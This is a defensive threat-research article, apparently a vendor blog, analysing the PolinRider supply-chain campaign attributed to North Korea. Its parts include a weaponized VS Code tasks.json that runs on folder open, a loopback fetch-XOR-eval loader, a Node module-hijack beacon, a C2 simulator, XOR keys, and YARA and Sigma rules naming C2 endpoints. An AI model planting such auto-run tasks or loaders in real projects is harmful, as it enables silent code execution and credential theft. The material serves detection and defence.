PolinRider: North Korea’s 108-Package Open-Source Supply Chain Campaign Dissected
Open a repository. That’s the whole exploit. No npm install script, no privilege escalation, no user clicking a phishing link. A developer clones a project they think is legitimate, opens the folder in VS Code, and North Korean malware executes before the editor finishes drawing the file tree. That is the ugly genius of PolinRider, and it is why this campaign should change how you think about your own workstation.
A quick correction before we go deep, because it matters for anyone verifying sources. The primary reporting on PolinRider is Socket’s Threat Research Team (Karlo Zanki, published July 1, 2026), corroborated by Rescana, eSentire’s March 2026 DEV#POPPER deep-dive, and Ransom-ISAC. It was not Check Point. If you’re citing this campaign in an incident report or a threat brief, attribute it correctly.
Campaign overview: PolinRider in context
PolinRider is a developer-targeting supply chain campaign that has been running since December 2025 and is still live. It sits inside the broader Contagious Interview / Famous Chollima activity cluster, the DPRK operation that lures software engineers with fake job interviews and coding tests, with reporting also linking infrastructure overlap to APT37 (Reaper / ScarCruft) and the Void Dokkaebi umbrella. Famous Chollima is widely assessed as a subset of Lazarus-adjacent DPRK operations, and the malware it fields (BeaverTail, InvisibleFerret, OtterCookie) shares code and infrastructure with the two payloads at the center of PolinRider: the DEV#POPPER remote access trojan and the OmniStealer information stealer.
The scale is not a rounding error. Socket catalogued 162 malicious release artifacts mapping to 108 unique packages and extensions across four ecosystems.
| Ecosystem | Count | Notes |
|---|---|---|
| Go modules | 61 | Largest single ecosystem footprint |
| npm | 19 | Includes tailwindcss-style-animate, tailwind-mainanimation, tailwind-autoanimation |
| Packagist (Composer) | 10 | Includes the compromised sevenspan namespace |
| Chrome Web Store | 1 | Independent browser-based initial access vector |
That’s the packaged distribution side. The direct-repository side is worse. The OpenSourceMalware team first flagged the injected-loader activity in March 2026, and by April 11, 2026 the campaign had compromised 1,951 public GitHub repositories belonging to 1,047 unique owners. Somewhere along the way, PolinRider absorbed a separate cluster tracked as TaskJacker, which is where the VS Code angle comes from.
My thesis for the rest of this piece: the security industry keeps guarding the registry (npm, PyPI, Packagist) while the actual weaponization happens two hops downstream, inside the IDE and the developer’s shell environment. PolinRider is the campaign that proves it.
Initial access: how maintainer accounts fall
Here is the detail that reframes the whole threat model. The attackers are not using stolen GitHub credentials.
Socket’s assessment is that maintainer accounts are being taken over through account recovery paths, most plausibly expired domain takeover: the attacker re-registers a lapsed domain that a maintainer once used for their account email, then triggers a password reset flow to that address. No credential phishing, no infostealer log purchase, no session hijack. The account is recovered legitimately, by the wrong person.
Why this matters for defenders: your usual “impossible travel” and “leaked credential” detections will produce nothing. The login looks like a normal recovery. This is also self-reinforcing, because some of the initial victims were themselves compromised through a malicious VS Code extension or npm package, giving the operators the material they needed to pivot into maintainer accounts.
Once inside, the operators clean up after themselves in a way that defeats the most common triage step. They rewrite Git history with force pushes and anti-dated commits, so the malicious changes look old and boring. If you glance at a repo’s landing page or git log and conclude “this has been here forever, must be fine,” you have been played.
The single strongest behavioral signal came from the Xpos587 account. Multiple repositories under that owner (Xpos587/git2md, Xpos587/markfetch, and others) were modified at exactly the same time on June 23, 2026, around 10:00 UTC. As the researcher put it, a synchronized bulk-update pattern like that “is unlikely to reflect normal maintainer activity and is consistent with account-level compromise followed by bulk repository modification.” That is your detection primitive for account takeover: not the content of the change, the synchronicity of many changes.
Stage 0: hiding the loader
The payload at this stage is an obfuscated JavaScript loader, and the operators go to real trouble to keep a human reviewer from ever seeing it.
Whitespace padding. They inject hundreds or thousands of leading blank spaces before the malicious code so it scrolls off the right edge of the editor viewport. eSentire’s ShoeVista case is the textbook example: the backdoor lived in frontend/tailwind.config.js, and the last line of that file started with a huge run of whitespace, then the obfuscated Node.js payload. Unless you turn on “render whitespace” and enable word wrap, you scroll past a file that looks completely normal.
Fake .woff2 fonts. A file named inter.woff2 sitting in static/fonts/ reads as a legitimate web font. In PolinRider variants it holds loader bytes or encrypted stage data instead. Nobody code-reviews a binary font asset.
Config-file injection. The loaders hide inside files that are supposed to contain executable JS anyway, so a stray function isn’t automatically suspicious. Confirmed targets:
tailwind.config.js,vite.config.js,eslint.config.js,config.js(injection sites)postcss.config.mjs,next.config.mjs,babel.config.js,app.js,eslint.config.mjs(files searched on the victim post-execution to find more config to poison or exfiltrate)
The obfuscation itself was almost certainly generated with the free Obfuscator.io tool, which produces a very recognizable style: hex-encoded string arrays, a rotating decoder function, control-flow flattening, and dead-code branches. The visual tell is a wall of _0x variable names and String.fromCharCode sequences that no build tool emits.
One operational lesson that keeps repeating: partial cleanup fails. Several repos had their fake-font payloads detected and stripped, while the whitespace-padded config injections were left untouched, so the machines stayed compromised. If you find one PolinRider hiding technique, assume the others are present too and sweep for all of them.
The VS Code tasks.json hijack (TaskJacker merge)
This is the part that makes PolinRider dangerous to careful developers, not just careless ones.
VS Code (and Cursor, which inherits the same task engine) supports auto-running tasks when a folder is opened, through the runOptions.runOn field in .vscode/tasks.json. The TaskJacker cluster drops a weaponized tasks.json into a repo, and the moment the developer opens that folder as a workspace, the task fires.
{
"version": "2.0.0",
"tasks": [
{
"label": "Build Assets",
"type": "shell",
"command": "node tailwind.config.js",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "never",
"panel": "dedicated"
}
}
]
}
Read the fields the way an attacker does:
| Field | Legit purpose | Weaponized use |
|---|---|---|
type: "shell" | Run through a shell | Full shell interpretation of command |
command | The build command | node tailwind.config.js (runs the poisoned config loader) |
runOptions.runOn: "folderOpen" | Auto-start dev servers | The silent auto-trigger |
presentation.reveal: "never" | Hide noisy output | No terminal panel pops up, so the developer sees nothing |
label: "Build Assets" | Human-readable name | Blends with real build tasks |
The obvious objection is Workspace Trust. Modern VS Code shows a trust dialog for unfamiliar folders and won’t run folder-open tasks in Restricted Mode. Here is why it doesn’t save you: the compromised repo is a workspace the developer deliberately opened and trusted. You cloned it because you meant to work on it. You click “Trust,” because of course you trust a project you’re about to contribute to. The trust model assumes malice comes from an unexpected folder. PolinRider comes from the folder you wanted.
Hunting rogue tasks is at least straightforward. Any tasks.json combining folderOpen with a silent presentation deserves scrutiny:
# Flag folder-open tasks across a repo tree
grep -rEl '"runOn"\s*:\s*"folderOpen"' --include='tasks.json' .
# Pull out the command each auto-task runs
find . -path '*/.vscode/tasks.json' -exec \
jq -r '.tasks[] | select(.runOptions.runOn=="folderOpen") | .command' {} +
If a folderOpen task shells out to node <config-file> or references a .woff2, treat the whole repo as hostile.

Stage 1: the JavaScript loader and blockchain dead-drop C2
Once the loader executes inside Node, it does something clever with its command-and-control. In several PolinRider variants, instead of hardcoding an attacker-owned domain, the loader reaches out to public blockchain RPC infrastructure: TRON, Aptos, and BNB Smart Chain.
The technique Ransom-ISAC calls Cross-Chain TxDataHiding works like this. The operators publish a transaction from a wallet they control and stuff the encrypted next stage into the transaction’s input/data field (the arbitrary-bytes field, not smart-contract storage). The loader then:
- Calls a public RPC endpoint such as
trongrid.ioor an Aptos fullnode. - Queries a hardcoded wallet address’s transaction history.
- Reads the
datafield of a specific transaction. - XOR-decrypts the bytes with an embedded key.
- Runs the result with
eval().
The tradecraft here is genuinely good, and I don’t say that lightly. A developer machine talking to a TRON RPC node looks exactly like Web3 development. You cannot wholesale-block blockchain RPC without breaking legitimate work, and the “C2 domain” is an immutable public infrastructure endpoint you have no authority to take down. The payload lives on a distributed ledger. There is nothing to seize.
The XOR keys are static per campaign wave and make excellent hunting anchors. eSentire’s ShoeVista case recovered two:
ThZG+0jfXE6VAGOJdecrypts the follow-on stage that loads DEV#POPPER.9KyASt+7D0mjPHFYdecrypts the OmniStealer stager response.
Conceptually, the decrypt-and-run core is a handful of lines:
// Illustrative of the Stage 1 mechanism (loopback-safe in a lab).
const http = require('http');
http.get('http://127.0.0.1:4444/stage1', (r) => {
let d = '';
r.on('data', c => d += c);
r.on('end', () => {
const k = 'ThZG+0jfXE6VAGOJ';
let o = '';
for (let i = 0; i < d.length; i++)
o += String.fromCharCode(d.charCodeAt(i) ^ k.charCodeAt(i % k.length));
eval(o); // Stage 2 executes here
});
});
Because it runs inside Node with the developer’s environment, the loader immediately has access to process.env (CI secrets, cloud credentials), local .env files, SSH keys, package registry tokens, project source, Git metadata, and full child-process execution. And because the design is modular (fetch, decrypt, eval), the operators can swap the delivered payload at will. Today it’s DEV#POPPER and OmniStealer. Tomorrow it could be a wiper or a ransomware dropper.
For deobfuscation, eSentire released DEV#STOPPER.js, which automates unpacking the intermediary stagers and final payloads. Use it rather than reinventing the Obfuscator.io unwind by hand.

Stage 2: DEV#POPPER RAT
DEV#POPPER is a cross-platform Node.js RAT, and its retrieval is itself a nested blockchain operation. An additional stage (tracked as “Stage 4” in the source analysis) deobfuscates, then calls a function named t, passing it an XOR key, a TRON address, and an Aptos address as fallback. That function pulls and stitches together the DEV#POPPER source from across the crypto networks, and the caller eval()s the result. The RAT is literally assembled from data spread across two blockchains at runtime.
C2 protocol
DEV#POPPER runs a dual-channel C2:
- WebSocket via
socket.io-clientfor interactive control, with support for multiple simultaneous operators through independent command queues. That multi-operator design tells you this is a managed platform, not a one-off implant. - HTTP endpoints for the rest:
/verify-human/[VERSION]for heartbeat and notifications, and/u/ffor file uploads, directory exfiltration, and logging.
When it’s time to deploy the stealer, DEV#POPPER hits /$/z1 to pull the base64-encoded, XOR-encrypted OmniStealer payload, and runs it in memory through Python’s exec().
Anti-analysis
Two techniques stand out. First, catastrophic backtracking: a deliberately pathological regular expression that hangs a debugger or automated analyzer indefinitely, exploiting worst-case regex engine behavior to starve your sandbox of CPU. Second, an aggressive environment check. If DEV#POPPER decides it’s on AWS or Azure, on a CI/CD runner like GitHub Actions, or on a security distro like Kali Linux, it terminates. It only detonates on what looks like a real developer’s machine. That is why your automated sandbox may report the sample as benign.
Persistence
Persistence is where DEV#POPPER burrows into the developer’s daily tools. It injects versioned code (marked C250617A through C250620A, which reads like a June 17-20 build series) into Node-based desktop applications: VS Code, Cursor, Antigravity, Discord, and GitHub Desktop. It also creates a hidden .node_modules folder to abuse Node.js module search-order hijacking (T1574): drop a malicious os or similar module higher in the resolution path, and every require('os') runs attacker code first.
// .node_modules/os/index.js (module search-order hijack, lab illustration)
const http = require('http');
http.get('http://127.0.0.1:4444/verify-human/C250617A'); // beacon
module.exports = require('/usr/lib/node_modules/os'); // re-export real module
Most confirmed victims are on macOS, but the RAT supports Windows and Linux too. Do not assume you’re safe because your shop isn’t a Mac shop.
Stage 3: OmniStealer
OmniStealer is the smash-and-grab endgame, and it is Python-based rather than Node. Its loading chain avoids relying on a system Python: it downloads a portable Python ZIP archive from the C2, extracts it with tar (falling back to 7-Zip), then runs an inline python -c stager that fetches, XOR-decrypts (key 9KyASt+7D0mjPHFY), and exec()s the final stealer in memory.
Ransom-ISAC’s characterization is blunt and accurate: it is code that exfiltrates “virtually everything on the device.” Confirmed targets:
| Category | What it takes |
|---|---|
| Browsers | Passwords, history, credit cards, and session cookies from Chrome, Edge, Firefox |
| Crypto | 50+ wallet extensions and desktop apps: MetaMask, Phantom, Coinbase Wallet, and more |
| Cloud storage | iCloud, OneDrive, Dropbox, MEGA directories |
| Developer assets | Git credentials, VS Code extension storage |
| Local vaults | System password vaults |
Everything gets bundled into a password-protected ZIP (which frustrates naive DLP content inspection) and shipped to the C2, with a Telegram bot fallback if the primary C2 is unreachable. The session-cookie theft is the part that should worry you most, because a stolen cookie sidesteps MFA entirely. The attacker doesn’t need your GitHub password when they have your authenticated session.
That same cookie-theft goal explains the lone Chrome extension in the 108. Published to the Chrome Web Store, it targets browser environments directly through chrome.cookies, chrome.storage, and web-request interception APIs, harvesting session material with no Node.js execution required at all. (The specific extension identifier was not confirmed in reviewed sources, so verify it against Socket’s live tracker rather than trusting any name floating around.)

Full kill chain, mapped to ATT&CK
Cross-check every technique ID against a current ATT&CK Navigator before you publish it in your own report, since supply-chain sub-technique assignments keep shifting.
| Stage | Action | ATT&CK |
|---|---|---|
| Initial Access | Expired-domain / account-recovery maintainer takeover | T1078, T1195.002 |
| Initial Access | Poisoned package pushed to registry | T1195.001 |
| Defense Evasion | Git history rewriting, anti-dated commits | T1070 |
| Defense Evasion | Whitespace padding, fake .woff2, Obfuscator.io | T1027, T1027.010 |
| Execution | tasks.json folderOpen auto-run | T1204, T1546 |
| Execution | JavaScript loader | T1059.007 |
| Command & Control | Blockchain transaction dead-drop resolver | T1102.001 |
| Command & Control | XOR-encrypted channel, socket.io WebSocket | T1573, T1071.001 |
| Defense Evasion | Deobfuscate/decode stages, eval/exec | T1140 |
| Defense Evasion | Sandbox/CI detection, catastrophic backtracking | T1497 |
| Persistence | .node_modules module search-order hijack | T1574 |
| Persistence | Injection into VS Code/Discord/GitHub Desktop | T1554 |
| Execution | Python python -c / exec() stager | T1059.006 |
| Collection | Browser creds and cookies | T1555.003, T1539 |
| Collection | Local files, .env, SSH keys | T1005, T1552.001 |
| Exfiltration | Password-protected ZIP, C2 / Telegram | T1560.001, T1567 |

Building a detection lab
Everything below runs on loopback. Nothing touches a real blockchain, a real registry, or a real credential store. You need Node 18+, a local Verdaccio registry, VS Code or Cursor, Python 3, and Sysmon (Windows) or auditd (Linux).
The core of a safe C2 simulator, standing in for the blockchain RPC dead-drop and the DEV#POPPER endpoints:
// c2-sim/server.js -- 127.0.0.1 only
const express = require('express');
const app = express();
app.get('/stage1', (req, res) => { // fake blockchain dead-drop
const key = 'ThZG+0jfXE6VAGOJ';
const stage2 = `process.stdout.write(JSON.stringify(Object.keys(process.env)));`;
let enc = '';
for (let i = 0; i < stage2.length; i++)
enc += String.fromCharCode(stage2.charCodeAt(i) ^ key.charCodeAt(i % key.length));
res.send(enc);
});
app.get('/verify-human/:version', (req, res) => { // DEV#POPPER heartbeat
console.log(`[C2] heartbeat version ${req.params.version}`);
res.json({ status: 'ok', cmd: 'idle' });
});
app.post('/u/f', express.raw({ type: '*/*' }), (req, res) => { // exfil sink
console.log(`[C2] exfil ${req.body.length} bytes`);
res.sendStatus(200);
});
app.listen(4444, '127.0.0.1', () => console.log('[C2-SIM] 127.0.0.1:4444'));
Publish a fake @genxcyber-lab/polinrider-sim to Verdaccio, drop the weaponized tasks.json into a workspace, open it in VS Code, and watch the heartbeat land. That single loop teaches you more about this campaign than any diagram, because you feel how little the developer has to do wrong.
Detection engineering: YARA and Sigma
YARA: the loader concealment tells
rule PolinRider_JS_Loader_Concealment
{
meta:
author = "GenXCyber"
description = "PolinRider whitespace-padded / XOR eval JS loader"
reference = "Socket TRU, July 2026"
strings:
$xor1 = "ThZG+0jfXE6VAGOJ" ascii
$xor2 = "9KyASt+7D0mjPHFY" ascii
$ep1 = "/verify-human/" ascii
$ep2 = "/$/z1" ascii
$ep3 = "/u/f" ascii
$eval = "String.fromCharCode" ascii
$pad = /\x20{200,}[^\x20]/ // 200+ spaces then content
$obf = /_0x[0-9a-f]{4,6}/ // Obfuscator.io var style
$rpc = "trongrid.io" ascii
condition:
any of ($xor*) or any of ($ep*) or
($eval and ($pad or $obf)) or
($rpc and $obf)
}
Also flag any .woff2 whose magic bytes are not wOF2 (0x774F4632) but whose content contains require( or node -e, a strong sign the “font” is a loader.
Sigma: rogue folder-open task
title: VS Code folderOpen Task Spawning Node From Config File
id: 9f1c8e42-polinrider-taskjacker
status: experimental
logsource:
category: process_creation
product: windows
detection:
parent:
ParentImage|endswith:
- '\Code.exe'
- '\Cursor.exe'
node:
Image|endswith: '\node.exe'
CommandLine|contains:
- 'tailwind.config.js'
- 'vite.config.js'
- 'eslint.config.js'
- '.woff2'
condition: parent and node
level: high
tags:
- attack.execution
- attack.t1204
- attack.t1546
Sigma: blockchain RPC egress from a dev tool
title: Developer Tool Beaconing to Public Blockchain RPC
id: 3a77bd10-polinrider-txdrop
status: experimental
logsource:
category: dns_query
detection:
proc:
Image|endswith:
- '\node.exe'
- '\Code.exe'
- '\python.exe'
rpc:
QueryName|contains:
- 'trongrid.io'
- 'fullnode.mainnet.aptoslabs.com'
- 'bsc-dataseed'
condition: proc and rpc
level: medium
Pair these with Sysmon Event ID 1 (process creation, watch node and python children of Code.exe/Cursor.exe), ID 3 (network connection to blockchain RPC or Telegram API), ID 11 (creation of .node_modules, .woff2 loaders, or portable Python archives), and the file-history telemetry that would reveal synchronized bulk repo modification.
CI/CD and developer workstation hardening
Registry scanning is necessary and insufficient. Here is what actually blunts PolinRider’s chain, roughly in order of impact.
| Control | Stops / detects | Reality check |
|---|---|---|
| Disable VS Code auto-run tasks in policy; keep Workspace Trust in Restricted Mode by default | The folderOpen execution trigger | The single highest-leverage control. Kills the TaskJacker vector outright. |
npm install --ignore-scripts in CI, and by default locally | Install-time script execution | Doesn’t stop config-file loaders, but removes a whole other class of abuse. |
| Private registry proxy (Artifactory / Nexus) with allow-listing and quarantine | Newly published or newly modified malicious versions | Add a cooldown so brand-new versions can’t be pulled instantly. |
| Lockfile pinning + integrity hashes; block floating ranges | Silent malicious version bumps | Pin to exact versions, review lockfile diffs like code. |
Egress filtering: deny blockchain RPC and api.telegram.org from build runners and, where feasible, dev endpoints | Stage 1 dead-drop retrieval and OmniStealer fallback | Build agents have zero reason to talk to a TRON node. |
Secrets out of shell profiles and .env; short-lived, scoped tokens via a broker | The loader’s harvest of process.env and .env | If a token lives in process.env, assume PolinRider read it. |
| Phishing-resistant MFA plus domain/email-recovery monitoring for maintainers | Account-recovery takeover | Watch for lapsed domains tied to maintainer emails; this is the actual entry point. |
| EDR with browser cookie/DPAPI access alerting | OmniStealer collection | Cookie theft defeats MFA, so treat cookie-store reads as high signal. |
The recovery-path takeover deserves a final word to maintainers specifically: renew the domains behind your account emails, or move recovery to an address on a domain you will never let lapse. PolinRider’s front door is an expired DNS registration, not a cracked password.
Key takeaways
- The IDE is the exploit surface. PolinRider’s cleverest move is
tasks.jsonwithrunOn: folderOpen. Opening a trusted repo is the trigger. Disable auto-run tasks by policy and this campaign’s best vector dies. - Attribution correction stands: Socket’s Threat Research Team reported this on July 1, 2026, not Check Point. Get it right in your own writeups.
- No stolen credentials. Maintainer accounts fell through expired-domain account recovery. Your credential-leak detections will see nothing. Watch for synchronized bulk repo edits instead.
- Blockchain dead-drops beat your blocklists. TRON/Aptos/BNB transaction-data C2 is legitimate, immutable, and unblockable wholesale. Hunt the XOR keys, the RPC egress from dev tools, and the
eval/execdecrypt pattern. - Partial cleanup is failure. Removing fake fonts while leaving whitespace-padded config injections left machines compromised. Sweep for every hiding technique, every time.
- Cookies over passwords. OmniStealer’s session-cookie theft sidesteps MFA. Cookie-store access is a first-class alert, not a footnote.
- Assume swap-ability. The loader is modular. DEV#POPPER and OmniStealer are today’s cargo. The same chain can deliver a wiper tomorrow, so fix the delivery mechanism, not just the current payload.